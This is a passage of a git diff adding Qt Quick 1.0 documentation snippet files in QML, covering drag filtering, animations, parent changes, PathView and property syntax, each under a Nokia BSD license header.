+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [dragfilter]
+import QtQuick 1.0
+
+Rectangle {
+ width: 480
+ height: 320
+ Rectangle {
+ x: 30; y: 30
+ width: 300; height: 240
+ color: "lightsteelblue"
+
+ MouseArea {
+ anchors.fill: parent
+ drag.target: parent;
+ drag.axis: "XAxis"
+ drag.minimumX: 30
+ drag.maximumX: 150
+ drag.filterChildren: true
+
+ Rectangle {
+ color: "yellow"
+ x: 50; y : 50
+ width: 100; height: 100
+ MouseArea {
+ anchors.fill: parent
+ onClicked: console.log("Clicked")
+ }
+ }
+ }
+ }
+}
+//! [dragfilter]
diff --git a/doc/src/snippets/declarative/numberanimation.qml b/doc/src/snippets/declarative/numberanimation.qml
new file mode 100644
index 00000000..f74942fa
--- /dev/null
+++ b/doc/src/snippets/declarative/numberanimation.qml
@@ -0,0 +1,51 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ width: 100; height: 100
+ color: "red"
+
+ NumberAnimation on x { to: 50; duration: 1000 }
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/parallelanimation.qml b/doc/src/snippets/declarative/parallelanimation.qml
new file mode 100644
index 00000000..0be2804b
--- /dev/null
+++ b/doc/src/snippets/declarative/parallelanimation.qml
@@ -0,0 +1,56 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ ParallelAnimation {
+ running: true
+ NumberAnimation { target: rect; property: "x"; to: 50; duration: 1000 }
+ NumberAnimation { target: rect; property: "y"; to: 50; duration: 1000 }
+ }
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/parentanimation.qml b/doc/src/snippets/declarative/parentanimation.qml
new file mode 100644
index 00000000..c05b0035
--- /dev/null
+++ b/doc/src/snippets/declarative/parentanimation.qml
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ width: 200; height: 100
+
+ Rectangle {
+ id: redRect
+ width: 100; height: 100
+ color: "red"
+ }
+
+ Rectangle {
+ id: blueRect
+ x: redRect.width
+ width: 50; height: 50
+ color: "blue"
+
+ states: State {
+ name: "reparented"
+ ParentChange { target: blueRect; parent: redRect; x: 10; y: 10 }
+ }
+
+ transitions: Transition {
+ ParentAnimation {
+ NumberAnimation { properties: "x,y"; duration: 1000 }
+ }
+ }
+
+ MouseArea { anchors.fill: parent; onClicked: blueRect.state = "reparented" }
+ }
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/parentchange.qml b/doc/src/snippets/declarative/parentchange.qml
new file mode 100644
index 00000000..8b1fa284
--- /dev/null
+++ b/doc/src/snippets/declarative/parentchange.qml
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ width: 200; height: 100
+
+ Rectangle {
+ id: redRect
+ width: 100; height: 100
+ color: "red"
+ }
+
+ Rectangle {
+ id: blueRect
+ x: redRect.width
+ width: 50; height: 50
+ color: "blue"
+
+ states: State {
+ name: "reparented"
+ ParentChange { target: blueRect; parent: redRect; x: 10; y: 10 }
+ }
+
+ MouseArea { anchors.fill: parent; onClicked: blueRect.state = "reparented" }
+ }
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/pathview/ContactModel.qml b/doc/src/snippets/declarative/pathview/ContactModel.qml
new file mode 100644
index 00000000..ea34fc33
--- /dev/null
+++ b/doc/src/snippets/declarative/pathview/ContactModel.qml
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+ListModel {
+ ListElement {
+ name: "Bill Jones"
+ icon: "pics/qtlogo.png"
+ }
+ ListElement {
+ name: "Jane Doe"
+ icon: "pics/qtlogo.png"
+ }
+ ListElement {
+ name: "John Smith"
+ icon: "pics/qtlogo.png"
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/pathview/pathattributes.qml b/doc/src/snippets/declarative/pathview/pathattributes.qml
new file mode 100644
index 00000000..9c34b0db
--- /dev/null
+++ b/doc/src/snippets/declarative/pathview/pathattributes.qml
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [0]
+import QtQuick 1.0
+
+Rectangle {
+ width: 240; height: 200
+
+//! [1]
+ Component {
+ id: delegate
+ Item {
+ width: 80; height: 80
+ scale: PathView.iconScale
+ opacity: PathView.iconOpacity
+ Column {
+ Image { anchors.horizontalCenter: nameText.horizontalCenter; width: 64; height: 64; source: icon }
+ Text { id: nameText; text: name; font.pointSize: 16 }
+ }
+ }
+ }
+//! [1]
+
+//! [2]
+ PathView {
+ anchors.fill: parent
+ model: ContactModel {}
+ delegate: delegate
+ path: Path {
+ startX: 120; startY: 100
+ PathAttribute { name: "iconScale"; value: 1.0 }
+ PathAttribute { name: "iconOpacity"; value: 1.0 }
+ PathQuad { x: 120; y: 25; controlX: 260; controlY: 75 }
+ PathAttribute { name: "iconScale"; value: 0.3 }
+ PathAttribute { name: "iconOpacity"; value: 0.5 }
+ PathQuad { x: 120; y: 100; controlX: -20; controlY: 75 }
+ }
+ }
+//! [2]
+}
+//! [0]
diff --git a/doc/src/snippets/declarative/pathview/pathview.qml b/doc/src/snippets/declarative/pathview/pathview.qml
new file mode 100644
index 00000000..3a01dcac
--- /dev/null
+++ b/doc/src/snippets/declarative/pathview/pathview.qml
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [0]
+import QtQuick 1.0
+
+Rectangle {
+ width: 240; height: 200
+
+//! [1]
+ Component {
+ id: delegate
+ Column {
+ id: wrapper
+ Image {
+ anchors.horizontalCenter: nameText.horizontalCenter
+ width: 64; height: 64
+ source: icon
+ }
+ Text {
+ id: nameText
+ text: name
+ font.pointSize: 16
+ color: wrapper.PathView.isCurrentItem ? "red" : "black"
+ }
+ }
+ }
+//! [1]
+
+//! [2]
+ PathView {
+ anchors.fill: parent
+ model: ContactModel {}
+ delegate: delegate
+ path: Path {
+ startX: 120; startY: 100
+ PathQuad { x: 120; y: 25; controlX: 260; controlY: 75 }
+ PathQuad { x: 120; y: 100; controlX: -20; controlY: 75 }
+ }
+ }
+//! [2]
+}
+//! [0]
diff --git a/doc/src/snippets/declarative/pathview/pics/qtlogo.png b/doc/src/snippets/declarative/pathview/pics/qtlogo.png
new file mode 100644
index 00000000..4f68e162
--- /dev/null
+++ b/doc/src/snippets/declarative/pathview/pics/qtlogo.png
Binary files differ
diff --git a/doc/src/snippets/declarative/pics/checker.svg b/doc/src/snippets/declarative/pics/checker.svg
new file mode 100644
index 00000000..374d89dc
--- /dev/null
+++ b/doc/src/snippets/declarative/pics/checker.svg
@@ -0,0 +1,17 @@
+<?xml version="1.0" standalone="no"?>
+<svg width="10px" height="10px" viewBox="0 0 10px 10px"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:xlink="http://www.w3.org/1999/xlink/"
+ baseProfile="tiny" version="1.2">
+ <title>Checker</title>
+ <desc>A checkerboard pattern to use as a background.</desc>
+ <g fill="#e0e0e0" stroke="none" >
+ <rect x="0" y="0" width="10px" height="10px" />
+ </g>
+ <g fill="#404040" stroke="none" >
+ <rect x="0" y="0" width="5px" height="5px" />
+ </g>
+ <g fill="#404040" stroke="none" >
+ <rect x="5px" y="5px" width="5px" height="5px" />
+ </g>
+</svg>
diff --git a/doc/src/snippets/declarative/pics/qt.png b/doc/src/snippets/declarative/pics/qt.png
new file mode 100644
index 00000000..4f68e162
--- /dev/null
+++ b/doc/src/snippets/declarative/pics/qt.png
Binary files differ
diff --git a/doc/src/snippets/declarative/pics/qtlogo.png b/doc/src/snippets/declarative/pics/qtlogo.png
new file mode 100644
index 00000000..4f68e162
--- /dev/null
+++ b/doc/src/snippets/declarative/pics/qtlogo.png
Binary files differ
diff --git a/doc/src/snippets/declarative/properties.qml b/doc/src/snippets/declarative/properties.qml
new file mode 100644
index 00000000..a93735fb
--- /dev/null
+++ b/doc/src/snippets/declarative/properties.qml
@@ -0,0 +1,315 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+
+ //! [inherited properties]
+ width: 320; height: 240
+ color: "lightblue"
+ focus: true
+ //! [inherited properties]
+
+ //! [custom properties]
+ property int counter
+ property real area: 100.45
+ //! [custom properties]
+
+ //! [property types]
+ property int number
+ property real volume: 100.45
+ property date today: "2011-01-01"
+ property color background: "yellow"
+ //! [property types]
+
+
+//! [grouped properties]
+Text {
+ //dot notation
+ font.pixelSize: 12
+ font.bold: true
+}
+
+Text {
+ //group notation
+ font {pixelSize: 12; bold: true}
+}
+//! [grouped properties]
+
+
+//! [property binding]
+Rectangle {
+ width: parent.width
+}
+//! [property binding]
+
+//! [property assignment]
+Rectangle {
+ Component.onCompleted: {
+ width = 150
+ }
+}
+//! [property assignment]
+
+Rectangle {
+ //placeholder slider
+ id: slider
+ property real value
+}
+Rectangle {
+ //placeholder system
+ id: system
+ property real brightness
+}
+//! [binding element]
+Binding {
+ target: system
+ property: "brightness"
+ value: slider.value
+}
+//! [binding element]
+
+Rectangle {
+ //placeholder warning
+ id: warning
+ color: "red"
+}
+//! [PropertyChanges element]
+Rectangle {
+ id: rectangle
+
+ states: State {
+ name: "WARNING"
+ PropertyChanges {
+ target: rectangle
+ color: warning.color
+ }
+ }
+}
+//! [PropertyChanges element]
+
+//! [list property]
+Item {
+ id: multistate
+ states: [
+ State {name: "FETCH"},
+ State {name: "DECODE"},
+ State {name: "EXECUTE"}
+ ]
+}
+//! [list property]
+//! [single property]
+Item {
+ id: monostate
+ states: State {name: "RUNNING"}
+}
+//! [single property]
+
+Item {
+ id: printstate
+//! [print list property]
+ Component.onCompleted: console.log (multistate.states[0].name)
+//! [print list property]
+}
+
+//! [JavaScript sample]
+function calculateArea(width, height) {
+ return (width * height) * 0.5
+}
+
+Rectangle {
+ width: 150; height: 75
+ property real area: calculateArea(width, height)
+ property real parentArea: calculateArea(parent.width,parent.height)
+ color: { if (area > parentArea) "blue"; else "red" }
+}
+//! [JavaScript sample]
+
+//! [id property]
+Rectangle {
+ id: container
+ width: 100; height: 100
+ Rectangle {
+ width: parent.width; height: parent.height
+ }
+}
+Rectangle {
+ width: container.width; height: container.height
+}
+//! [id property]
+
+//! [default property]
+Item {
+ Text {}
+ Rectangle {}
+ Timer {}
+}
+
+Item {
+ //without default property
+ children: [
+ Text {},
+ Rectangle {}
+ ]
+ resources: [
+ Timer {}
+ ]
+}
+//! [default property]
+
+//! [state default]
+State {
+ changes: [
+ PropertyChanges {},
+ PropertyChanges {}
+ ]
+}
+
+State {
+ PropertyChanges {}
+ PropertyChanges {}
+}
+//! [state default]
+
+//! [object binding]
+Rectangle {
+
+ id: parentrectangle
+ gradient:
+ Gradient { //not a child of parentrectangle
+
+ //generates a TypeError
+ //Component.onCompleted: console.log(parent.width)
+ }
+
+ //child of parentrectangle
+ Rectangle {property string name: "childrectangle"}
+
+ //prints "childrectangle"
+ Component.onCompleted: console.log(children[0].name)
+}
+//! [object binding]
+
+//! [list attached property]
+Component {
+ id: listdelegate
+ Text {
+ text: "Hello"
+ color: ListView.isCurrentItem ? "red" : "blue"
+ }
+}
+ListView {
+ delegate: listdelegate
+}
+//! [list attached property]
+
+//! [attached signal handler]
+Item {
+ Keys.onPressed: console.log("Key Press Detected")
+ Component.onCompleted: console.log("Completed initialization")
+}
+//! [attached signal handler]
+
+//! [alias usage]
+Button {
+ id: textbutton
+ buttonLabel: "Click Me!"
+}
+//! [alias usage]
+
+//! [image alias]
+Button {
+ id: imagebutton
+ buttonImage.source: "http://qt.nokia.com/logo.png"
+ buttonLabel: buttonImage.source
+}
+//! [image alias]
+
+Item {
+id: widget
+
+//! [alias complete]
+property alias widgetLabel: label
+
+//will generate an error
+//widgetLabel.text: "Initial text"
+
+//will generate an error
+//property alias widgetLabelText: widgetLabel.text
+
+Component.onCompleted: widgetLabel.text = "Alias completed Initialization"
+//! [alias complete]
+
+ Text {id: label}
+}
+
+//![alias overwrite]
+Rectangle {
+ id: coloredrectangle
+ property alias color: bluerectangle.color
+ color: "red"
+
+ Rectangle {
+ id: bluerectangle
+ color: "#1234ff"
+ }
+
+ Component.onCompleted: {
+ console.log (coloredrectangle.color) //prints "#1234ff"
+ setInternalColor()
+ console.log (coloredrectangle.color) //prints "#111111"
+ coloredrectangle.color = "#884646"
+ console.log (coloredrectangle.color) //prints #884646
+ }
+
+ //internal function that has access to internal properties
+ function setInternalColor() {
+ color = "#111111"
+ }
+}
+//![alias overwrite]
+//! [parent end]
+}
+//! [parent end]
+//! [document]
diff --git a/doc/src/snippets/declarative/propertyaction-sequential.qml b/doc/src/snippets/declarative/propertyaction-sequential.qml
new file mode 100644
index 00000000..762bf6e9
--- /dev/null
+++ b/doc/src/snippets/declarative/propertyaction-sequential.qml
@@ -0,0 +1,72 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
